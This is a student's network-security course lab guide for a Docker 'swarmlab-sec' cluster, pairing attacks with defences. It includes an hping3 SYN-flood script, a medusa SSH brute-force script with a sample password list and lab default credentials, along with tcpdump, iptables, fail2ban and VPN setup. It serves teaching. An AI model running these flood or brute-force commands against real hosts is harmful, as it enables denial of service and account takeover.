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<body class="article">
<div id="header">
<h1>Εργασία Χειμερινού Εξαμήνου 2020-21</h1>
</div>
<div id="content">
<div id="preamble">
<div class="sectionbody">
<div class="paragraph">
<p>Μάθημα: Ασφάλεια Δικτύων και Επικοινωνίων<br> Ονοματεπώνυμο: Χρυσούλα Κούτκου<br> Αριθμός Μητρώου: 71344742</p>
</div>
<div class="paragraph">
<p><br></p>
</div>
</div>
</div>
<div class="sect1">
<h2 id="_docker_installation_ubuntu">1. Docker Installation (Ubuntu)</h2>
<div class="sectionbody">
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
sudo apt update
sudo apt install -y docker-ce
echo "or"
sudo apt install docker*
sudo systemctl status docker
sudo usermod -aG docker username #οπου username το όνομα του χρήστη που θα δουλεύει με docker</code></pre>
</div>
</div>
</div>
</div>
<div class="sect1">
<h2 id="cheat-compose">2. docker-compose</h2>
<div class="sectionbody">
<div class="listingblock">
<div class="content">
<pre class="highlight"><code> sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose</code></pre>
</div>
</div>
</div>
</div>
<div class="sect1">
<h2 id="cheat-error">3. On Error:</h2>
<div class="sectionbody">
<div class="ulist">
<ul>
<li>
<p>run</p>
</li>
</ul>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>$ sudo su
# touch set-ca.sh</code></pre>
</div>
</div>
<div class="ulist">
<ul>
<li>
<p>copy-paste lines</p>
</li>
</ul>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>registry_address=registry.vlabs.uniwa.gr
registry_port=5043
mkdir -p /etc/docker/certs.d/$registry_address:$registry_port
openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt
registry_port=5080
mkdir -p /etc/docker/certs.d/$registry_address:$registry_port
openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt
registry_address=hub.swarmlab.io
registry_port=5443
mkdir -p /etc/docker/certs.d/$registry_address:$registry_port
openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt
registry_port=5480
mkdir -p /etc/docker/certs.d/$registry_address:$registry_port
openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt</code></pre>
</div>
</div>
<div class="sect2">
<h3 id="_exec_file">3.1. exec file</h3>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>sudo bash ./set-ca.sh</code></pre>
</div>
</div>
<div class="paragraph">
<p><br></p>
</div>
</div>
</div>
</div>
<div class="sect1">
<h2 id="_install_swarmlab_sec_home_pc">4. Install swarmlab-sec (Home PC)</h2>
<div class="sectionbody">
<div class="ulist">
<ul>
<li>
<p>Clone repo <a href="https://git.swarmlab.io:3000/swarmlab/swarmlab-sec"
class="bare" target="_blank">https://git.swarmlab.io:3000/swarmlab/swarmlab-sec</a><br></p>
</li>
</ul>
</div>
</div>
</div>
<div class="sect1">
<h2 id="_usage_swarmlab_sec">5. Usage (swarmlab-sec)</h2>
<div class="sectionbody">
<div class="ulist">
<ul>
<li>
<p>Open a console</p>
</li>
<li>
<p>cd to swarmlab-sec</p>
</li>
<li>
<p>Create a directory</p>
</li>
</ul>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>cd <dir>
../install/usr/share/swarmlab.io/sec/swarmlab-sec
create create project (swarmlab-sec create)
up start swarmlab-sec (swarmlab-sec up size=10)
scale resize swarmlab-sec (swarmlab-sec scale size=30)
reload rebuild image (swarmlab-sec reload size=15)
login login swarmlab-sec (swarmlab-sec login)
exec execute command (swarmlab-sec exec [SHELL COMMAND])
down stop swarmlab-sec (swarmlab-sec down)
clean clean project (swarmlab-sec clean)
list show instances (swarmlab-sec swarmlab-sec list)
help show help (swarmlab-sec help)</code></pre>
</div>
</div>
</div>
</div>
<div class="sect1">
<h2 id="cheat-swarmlab-create">6. Create swarmlab project</h2>
<div class="sectionbody">
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>mkdir project
cd project
../install/usr/share/swarmlab.io/sec/swarmlab-sec create</code></pre>
</div>
</div>
<div class="listingblock">
<div class="title">Relevant files:</div>
<div class="content">
<pre class="highlight"><code>Project
├── Dockerfile # Image specification
├── project # Sample program source code
│ └── hello_world.c
├── ssh # keys for accessing
│ ├── id_rsa # (could generate your own)
│ └── id_rsa.pub
├── docker-compose.yml # Container orchestration</code></pre>
</div>
</div>
</div>
</div>
<div class="sect1">
<h2 id="cheat-swarmlab-up">7. Spin up the swarmlab cluster</h2>
<div class="sectionbody">
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>cd project
../install/usr/share/swarmlab.io/sec/swarmlab-sec up size=5</code></pre>
</div>
</div>
</div>
</div>
<div class="sect1">
<h2 id="cheat-swarmlab-up1">8. Login to the swarmlab cluster</h2>
<div class="sectionbody">
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>cd project
../install/usr/share/swarmlab.io/sec/swarmlab-sec login</code></pre>
</div>
</div>
<div class="paragraph">
<p>User password: docker</p>
</div>
<div class="paragraph">
<p>Sudo password: docker</p>
</div>
</div>
</div>
<div class="sect1">
<h2 id="_inside_on_docker_master">9. Inside on Docker Master</h2>
<div class="sectionbody">
<div class="paragraph">
<p>First of all, type ifconfig to see your ip address. Then, create an inventory.yml
with the IPs using nmap -sP 172.19.0.* | grep Nmap | cut -d' ' -f5-6</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>[service]
172.27.0.2
172.27.0.3
172.27.0.4
172.27.0.5
172.27.0.6</code></pre>
</div>
</div>
<div class="paragraph">
<p>Afterwards, you have to create a test.yml file.</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>---
- hosts: service
remote_user: docker
gather_facts: no
vars:
user: "docker"
tasks:
# -----------------
# make directory
# -----------------
- name: make dir for data
become: true
file:
path: "/var/lab/playground/playground-readmongo"
state: directory
owner: docker
group: docker
mode: '0777'
# - name: google.com
# become: yes
# become_user: "{{ user }}"
# command: curl http://www.google.com
# ignore_errors: yes
# register: configwww
#
# - name: ls configwww
# debug: var=configwww.stdout_lines
- name: ls -al /var/lab/playground/playground-readmongo/
become: yes
become_user: "{{ user }}"
#command: ls -al /var/lab/playground/playground-readmongo
command: ls -al /etc
ignore_errors: yes
register: config
- name: ls config
debug: var=config.stdout_lines
#
# - name: Refresh connection
# meta: clear_host_errors</code></pre>
</div>
</div>
<div class="paragraph">
<p>Then, create a run.sh script.</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>ansible-playbook -u docker -i inventory.yml test.yml -f 5 --ask-pass --ask-become-pass</code></pre>
</div>
</div>
<div class="paragraph">
<p>In your command line, type:</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>chmod +x run.sh
sudo apt install ansible
./run.sh
(Somewhere here there would be some errors)
sudo apt install sshpass
cd /etc/ansible
vi ansible.cfg
(Add this line)
host_key_checking = False
(Exit and return back)
./run.sh</code></pre>
</div>
</div>
</div>
</div>
<div class="sect1">
<h2 id="_hping3_attack">10. Hping3 Attack</h2>
<div class="sectionbody">
<div class="paragraph">
<p><br> Here is a video about hping3, tcpdump, netstat and iptables rules.
Feel free to press like button and subscribe!</p>
</div>
<div class="videoblock">
<div class="content">
<iframe src="https://www.youtube.com/embed/lErpyiAbsVs?rel=0" frameborder="0" allowfullscreen></iframe>
</div>
</div>
<div class="paragraph">
<p><br></p>
</div>
<div class="paragraph">
<p>Firstly, connect to the worker that you wish to do the attack. Inside the
worker create a script file with these:</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>#!/bin/sh
#installation_of_hping3
sudo apt update
sudo apt install hping3 -y
#syn_flood_attack_with_hping3_on_docker_master_with_IP_172.19.0.2
#hping3 -i u1 -S -p 80 172.27.0.2
#hping3 172.27.0.2 -q -n -d 120 -S -p 80 --flood
hping3 -S -p 80 172.127.0.2</code></pre>
</div>
</div>
<div class="paragraph">
<p>In your command line type:</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>chmod +x hping3.sh
sudo ./hping3.sh</code></pre>
</div>
</div>
</div>
</div>
<div class="sect1">
<h2 id="_tcpdump_on_the_victim">11. Tcpdump on the victim</h2>
<div class="sectionbody">
<div class="paragraph">
<p>After connecting to the victim’s host, then create a script file
tcpdump.sh</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>#!/bin/sh
tcpdump port 80
#tcpdump -Nnn -i any -s0 'tcp[13] & 2 !=0'</code></pre>
</div>
</div>
<div class="paragraph">
<p>In your command line type:</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>chmod +x tcpdump.sh
sudo ./tcpdump.sh</code></pre>
</div>
</div>
</div>
</div>
<div class="sect1">
<h2 id="_netstat_on_the_victim">12. Netstat on the victim</h2>
<div class="sectionbody">
<div class="paragraph">
<p>Create a netstat.sh script file and type the above:</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>#!/bin/sh
netstat -npt | awk '{print $6}' | sort | uniq -c | sort -nr | head
netstat -anp | grep 'tcp\udp' | awk '{print $6}' | cut -d: f1 | sort | uniq -c | sort -n
netstat -nat | awk '{print $6}' | sort | uniq -c | sort -n
netstat -na
netstat -tna
netstat -antlupe
netstat -n -p | grep SYN_REC | wc -l
netstat -npt | awk '{print $6}' | sort | uniq -c | sort -nr | head</code></pre>
</div>
</div>
<div class="paragraph">
<p>In your command line type:</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>chmod +x netstat.sh
sudo ./netstat.sh</code></pre>
</div>
</div>
</div>
</div>
<div class="sect1">
<h2 id="_anti_ddos_protection_using_iptables">13. Anti-Ddos protection using iptables</h2>
<div class="sectionbody">
<div class="paragraph">
<p>Create an anti-ddos.sh file and type inside:</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>#!/bin/sh
#drop invalid packets
iptables -A INPUT -m state --state INVALID -j DROP
iptables -A FORWARD -m state --state INVALID -j DROP
iptables -A OUTPUT -m state --state INVALID -j DROP
#Use SYNPROXY on all ports (disables connection limiting rule) ###
iptables -t raw -A PREROUTING -p tcp -m tcp --syn -j CT --notrack
iptables -A INPUT -p tcp -m tcp -m conntrack --ctstate INVALID,UNTRACKED -j SYNPROXY --sack-perm --timestamp --wscale 7 --mss 1460
iptables -A INPUT -m conntrack --ctstate INVALID -j DROP</code></pre>
</div>
</div>
<div class="paragraph">
<p>In your command line type:</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>chmod +x anti-ddos.sh
sudo ./anti-ddos.sh</code></pre>
</div>
</div>
</div>
</div>
<div class="sect1">
<h2 id="_ssh_brute_force_attack_using_medusa">14. SSH Brute Force Attack using Medusa</h2>
<div class="sectionbody">
<div class="paragraph">
<p><br> Here is a video about ssh brute force attack using medusa tool, detection
using rsyslog and protection using fail2ban</p>
</div>
<div class="videoblock">
<div class="content">
<iframe src="https://www.youtube.com/embed/6C8suUjJBCA?rel=0" frameborder="0" allowfullscreen></iframe>
</div>
</div>
<div class="paragraph">
<p><br></p>
</div>
<div class="paragraph">
<p>In order to do this attack, you have to create a password list file. For
example,</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>123password
root
admin-root
acbdef2147
whatistherealpassword
docker
password
123456789</code></pre>
</div>
</div>
<div class="paragraph">
<p>The next step is to create a medusa.sh script file.</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>#!/bin/bash
sudo apt update
sudo apt install medusa
medusa -u docker -P pass.txt -h 172.27.0.3 -M ssh</code></pre>
</div>
</div>
<div class="paragraph">
<p>To accomplish the ssh brute force attack I connected as worker_4 and I
will attack the worker_1.</p>
</div>
<div class="paragraph">
<p>In your command line type:</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>chmod +x medusa.sh
sudo ./medusa.sh</code></pre>
</div>
</div>
</div>
</div>
<div class="sect1">
<h2 id="_detection_of_ssh_brute_force_using_rsyslog_tool">15. Detection of SSH Brute Force using rsyslog tool</h2>
<div class="sectionbody">
<div class="paragraph">
<p>I will connect as worker_1 and I will create a rsyslog.sh file.</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>#!/bin/bash
sudo apt update
sudo apt install rsyslog
sudo service rsyslog start
sudo service rsyslog status
sudo grep "Failed password" /var/log/auth.log</code></pre>
</div>
</div>
<div class="paragraph">
<p>In your command line type:</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>chmod +x rsyslog.sh
sudo ./rsyslog.sh
(After results are shown type the next line)
sudo service rsyslog stop</code></pre>
</div>
</div>
</div>
</div>
<div class="sect1">
<h2 id="_fail2ban_tool_for_ssh_protection">16. Fail2ban tool for SSH protection</h2>
<div class="sectionbody">
<div class="paragraph">
<p>Create a fail2ban.sh file and type the below:</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>#!/bin/bash
sudo apt update
sudo apt install fail2ban</code></pre>
</div>
</div>
<div class="paragraph">
<p>In your command line type:</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>chmod +x fail2ban.sh
sudo ./fail2ban.sh</code></pre>
</div>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>sudo service fail2ban start
sudo service fail2ban status
cd /etc/fail2ban
cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
(Inside the jail.local type the below)
[DEFAULT]
loglevel = DEBUG
logtarget = path_to_log
[sshd]
enabled = true
maxretry = 2
bantime = 600
findtime = 30
logpath = %(sshd_log)s
backend = %(sshd_backend)s
action = iptables-multiport[name=%(__name__)s, bantime="%(bantime)s, port=ssh, protocol="%(protocol)s", chain=INPUT]</code></pre>
</div>
</div>
<div class="paragraph">
<p>In your command line type:`</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>sudo service fail2ban restart
sudo service fail2ban status
sudo fail2ban-client start
sudo fail2ban-client status
sudo fail2ban-client status sshd</code></pre>
</div>
</div>
</div>
</div>
<div class="sect1">
<h2 id="_ssh_brute_authentication_only_with_keys">17. SSH Brute authentication only with keys</h2>
<div class="sectionbody">
<div class="paragraph">
<p>To accomplish this brute force login with only key you have to connect
to a container, for instance I connected to worker_5.</p>
</div>
<div class="paragraph">
<p>In your command line type:`</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>(Our server is worker_5)
mkdir .ssh
cd .ssh
ssh-keygen
cat ~/.ssh/id_rsa.pub
(You should do the below for every worker, but for this example I will do only about worker_4)
ssh-copy-id docker@172.27.0.5
(Then it will ask you to connect)
ssh docker@172.27.0.5
(After doing this to all remaining containers type the next below for each host)
scp id_rsa docker@172.27.0.5 #copy id_rsa to every container
sudo service ssh restart</code></pre>
</div>
</div>
<div class="paragraph">
<p>Then you have to disable password authentication on you server.</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>(Being on server)
cd /etc/ssh
vi sshd_config
(Inside sshd_config change the below)
PasswordAuthentication no
(After doing this return to your command line and type the below)
sudo service ssh restart</code></pre>
</div>
</div>
<div class="paragraph">
<p>And finally you are ready!</p>
</div>
</div>
</div>
<div class="sect1">
<h2 id="_vpn">18. VPN</h2>
<div class="sectionbody">
<div class="paragraph">
<p><br> Here is a video about how you can create VPN and provide services
to docker swarm.</p>
</div>
<div class="videoblock">
<div class="content">
<iframe src="https://www.youtube.com/embed/FnRMonM07yQ?rel=0" frameborder="0" allowfullscreen></iframe>
</div>
</div>
<div class="paragraph">
<p><br></p>
</div>
<div class="paragraph">
<p>In this part, I will show you how you can create a VPN and and provide
services to the docker swarm. Firstly, you shoudld be on the /swarmlab-sec/project
folder and create a vpn folder.</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>cd swarmlab-sec/project
mkdir vpn
cd vpn</code></pre>
</div>
</div>
<div class="paragraph">
<p>The next step is to create a create-vpn. script.</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>#!/bin/bash
IP=127.0.0.1 # Server IP
P=1194 # Server Port
OVPN_SERVER='10.80.0.0/16' # VPN Network
#vpn_data=/var/lib/swarmlab/openvpn/openvpn-services/ # Dir to save data ** this must exist **
vpn_data=$PWD/openvpn-services/
if [ ! -d $vpn_data ]; then
mkdir -p $vpn_data
fi
NAME=swarmlab-vpn-services # name of docker service
DOCKERnetwork=swarmlab-vpn-services-network # docker network
docker=registry.vlabs.uniwa.gr:5080/myownvpn # docker image
docker stop $NAME #stop container
sleep 1
docker container rm $NAME #rm container
# rm config files
rm -f $vpn_data/openvpn.conf.*.bak
rm -f $vpn_data/openvpn.conf
rm -f $vpn_data/ovpn_env.sh.*.bak
rm -f $vpn_data/ovpn_env.sh
# create network
sleep 1
docker network create --attachable=true --driver=bridge --subnet=172.50.0.0/16 --gateway=172.50.0.1 $DOCKERnetwork
#run container see ovpn_genconfig
docker run --net=none -it -v $vpn_data:/etc/openvpn -p 1194:1194 --rm $docker ovpn_genconfig -u udp://$IP:1194 \
-N -d -c -p "route 172.50.20.0 255.255.255.0" -e "topology subnet" -s $OVPN_SERVER
# create pki see ovpn_initpki
docker run --net=none -v $vpn_data:/etc/openvpn --rm -it $docker ovpn_initpki
# see ovpn_copy_server_files
#docker run --net=none -v $vpn_data:/etc/openvpn --rm $docker ovpn_copy_server_files
#create vpn see --cap-add=NET_ADMIN
sleep 1
docker run --detach --name $NAME -v $vpn_data:/etc/openvpn --net=$DOCKERnetwork --ip=172.50.0.2 -p $P:1194/udp --cap-add=NET_ADMIN $docker
sudo sysctl -w net.ipv4.ip_forward=1
#show created
docker ps</code></pre>
</div>
</div>
<div class="paragraph">
<p>create-user.sh</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>USERNAME=user1
vpn_data=$PWD/openvpn-services/
docker=registry.vlabs.uniwa.gr:5080/myownvpn
docker run -v $vpn_data:/etc/openvpn --rm -it $docker easyrsa build-client-full $USERNAME nopass
docker run -v $vpn_data:/etc/openvpn --log-driver=none --rm $docker ovpn_getclient $USERNAME > $USERNAME.user</code></pre>
</div>
</div>
<div class="paragraph">
<p>After the user is created add in the $USERNAME.user the below:</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>client
nobind
dev tun
comp-lzo
resolv-retry infinite
keepalive 15 60
remote-cert-tls server
remote 10.0.2.15 1194 udp #type your host IP address in every $USERNAME.user
float</code></pre>
</div>
</div>
<div class="paragraph">
<p>rm-user.sh</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>#!/bin/bash
CLIENTNAME=test1
U=$CLIENTNAME
vpn_data=$PWD/openvpn-services/
docker=registry.vlabs.uniwa.gr:5080/myownvpn
rm -f $vpn_data/pki/reqs/$CLIENTNAME.req
rm -f $vpn_data/pki/private/$CLIENTNAME.key
rm -f $vpn_data/pki/issued/$CLIENTNAME.crt
rm -f $vpn_data/server/ccd/$CLIENTNAME
rm -f $vpn_data/ccd/$CLIENTNAME
pem=$(sudo grep "CN=$U$" $vpn_data/pki/index.txt | cut -f4)
rm -f $vpn_data/pki/certs_by_serial/$pem.pem
sed -i "/CN=$U$/d" $vpn_data/pki/index.txt
echo $pem
docker run -v $vpn_data:/etc/openvpn --log-driver=none --rm -it $docker ovpn_revokeclient $CLIENTNAME remove
rm -f $vpn_data_user_config/$CLIENTNAME.ovpn
rm -f $vpn_data_user_config1/$CLIENTNAME.ovpn</code></pre>
</div>
</div>
<div class="paragraph">
<p>show-user.sh</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>NAME=swarmlab-vpn-services # name of docker service
docker exec -it $NAME ovpn_listclients</code></pre>
</div>
</div>
<div class="paragraph">
<p>show-conn-user.sh</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>NAME=swarmlab-vpn-services # name of docker service
docker exec -it $NAME cat /tmp/openvpn-status.log</code></pre>
</div>
</div>
<div class="paragraph">
<p>Then you have to type in your command line:</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>chmod +x create-vpn.sh
chmod +x create-user.sh
chmod +x show-user.sh
chmod +x rm-user.sh
chmod +x show-conn-user.sh
./create-vpn.sh
./create-user.sh #for every user you have to use a different name
./show-user.sh #you can see all the users
./show-conn-user.sh #you can see all connected users to the vpn
cp $USERNAME.user ../project #this user will be copied to the master</code></pre>
</div>
</div>
<div class="paragraph">
<p>After doing these steps, connect to a docker host, for instance in docker
master.</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>sudo apt update
sudo apt install openvpn
ls -al #to check if there is the user1.user file
sudo su
service openvpn start
openvpn --config ./user1.user #client connection to the VPN</code></pre>
</div>
</div>
<div class="paragraph">
<p>Don’t close the window or do not stop the execution. Open a new window
and connect to the same user and type ifconfig to check if the tun0 has
created.</p>
</div>
<div class="paragraph">
<p>Now connect to an other worker, for instance worker_1. You have to do the
same thing in every worker.</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>ssh docker@@172.27.0.3
sudo apt update
sudo apt install openvpn
touch user2.user
vi user2.user #copy the user2.user file from the /swarmlab-sec/project/vpn/ and paste it here
ls -al #to check if there is the user1.user file
sudo su
service openvpn start
openvpn --config ./user2.user #client connection to the VPN</code></pre>
</div>
</div>
<div class="paragraph">
<p>You have to do the same procedure for the other workers.</p>
</div>
<div class="paragraph">
<p>Don’t close the window or do not stop the execution. Open a new window
and connect to the same user and type ifconfig to check if the tun0 has
created.</p>
</div>
<div class="paragraph">
<p>Then in docker master tab type:</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>sudo su
tcpdump -i tun0</code></pre>
</div>
</div>
<div class="paragraph">
<p>Go to the new docker worker tab and type:</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>ping 10.80.0.2 #this is the new IP of master of tun0</code></pre>
</div>
</div>
<div class="paragraph">
<p>You are ready!</p>
</div>
</div>
</div>
<div class="sect1">
<h2 id="_vpn_2">19. VPN</h2>
<div class="sectionbody">
<div class="paragraph">
<p><br> Here is a video about how you can do ssh local and remote forwarding.</p>
</div>
<div class="videoblock">
<div class="content">
<iframe src="https://www.youtube.com/embed/gbegXj8pQxs?rel=0" frameborder="0" allowfullscreen></iframe>
</div>
</div>
<div class="paragraph">
<p><br></p>
</div>
<div class="paragraph">
<p>On remote container</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>sudo apt install nginx
curl localhost #to check if localhost is working
hostname -i</code></pre>
</div>
</div>
<div class="paragraph">
<p>On localhost host</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>curl localhost #to check if localhost is working
hostname
hostname -i
sudo ssh -nNT -L 80:localhost:80 docker@172.27.0.2</code></pre>
</div>
</div>
<div class="paragraph">
<p>Then type on localhost host again in a new tab:</p>
</div>
<div class="listingblock">
<div class="content">
<pre class="highlight"><code>curl localhost #to check if localhost is working</code></pre>
</div>
</div>
<div class="paragraph">
<p>And it works!<br></p>
</div>
<div class="paragraph">
<p>Please enjoy and thank you for reading my ascii doc and watching my youtube
videos!</p>
</div>
</div>
</div>
</div>
</body>
</html>